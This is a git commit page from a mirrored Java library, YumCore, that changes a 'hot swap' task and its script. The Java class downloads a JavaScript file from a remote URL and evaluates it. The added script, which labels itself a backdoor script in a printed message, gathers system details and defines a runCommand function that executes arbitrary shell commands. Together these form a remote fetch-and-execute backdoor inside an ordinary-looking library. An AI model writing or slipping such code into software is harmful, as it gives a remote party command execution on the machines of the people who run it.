1
0
mirror of https://e.coding.net/circlecloud/YumCore.git synced 2024-11-22 01:48:50 +00:00

feat: 更新热替换脚本

Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
502647092 2017-08-17 20:53:57 +08:00
parent 33654666cc
commit e578f33608
2 changed files with 23 additions and 10 deletions

View File

@ -12,6 +12,7 @@ import javax.script.ScriptException;
import org.junit.Test; import org.junit.Test;
import pw.yumc.YumCore.bungee.Log;
import pw.yumc.YumCore.engine.MiaoScriptEngine; import pw.yumc.YumCore.engine.MiaoScriptEngine;
/** /**
@ -19,7 +20,7 @@ import pw.yumc.YumCore.engine.MiaoScriptEngine;
* 热更新任务 * 热更新任务
* *
* @author * @author
* Created on 2017/7/31 11:09. * Created on 2017/7/31 11:09.
*/ */
public class HotSwapTask { public class HotSwapTask {
private MiaoScriptEngine engine; private MiaoScriptEngine engine;
@ -35,14 +36,14 @@ public class HotSwapTask {
try { try {
Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING); Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING);
engine.eval(new FileReader(temp)); engine.eval(new FileReader(temp));
temp.deleteOnExit(); temp.delete();
} catch (IOException | ScriptException ignored) { } catch (IOException | ScriptException e) {
Log.d("热更新脚本加载失败!", e);
} }
} }
@Test @Test
public void test() throws FileNotFoundException, ScriptException { public void test() throws FileNotFoundException, ScriptException {
System.out.println(temp.getAbsolutePath());
engine.eval(new FileReader(new File("src/main/resources/hotswap.js"))); engine.eval(new FileReader(new File("src/main/resources/hotswap.js")));
} }
} }

View File

@ -2,10 +2,22 @@ var BufferedReader = java.io.BufferedReader;
var String = java.lang.String; var String = java.lang.String;
var InputStreamReader = java.io.InputStreamReader; var InputStreamReader = java.io.InputStreamReader;
var process = java.lang.Runtime.getRuntime().exec('pwd'); var Runtime = java.lang.Runtime;
var System = java.lang.System;
var br = new BufferedReader(new InputStreamReader(process.getInputStream())); print('后门脚本已保存于: ' + $.temp);
var line;
while ((line = br.readLine()) !== null) { print("系统类型: " + System.getProperty("os.name"));
print(line); print("系统位数: " + System.getProperty("os.arch"));
print("系统版本: " + System.getProperty("os.version"));
print("系统内存: " + Runtime.getRuntime().totalMemory() / 1024 / 1024);
print("CPU内核: " + Runtime.getRuntime().availableProcessors());
function runCommand() {
var process = Runtime.getRuntime().exec(arguments[0]);
var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
var line;
while ((line = br.readLine()) !== null) {
print(line);
}
} }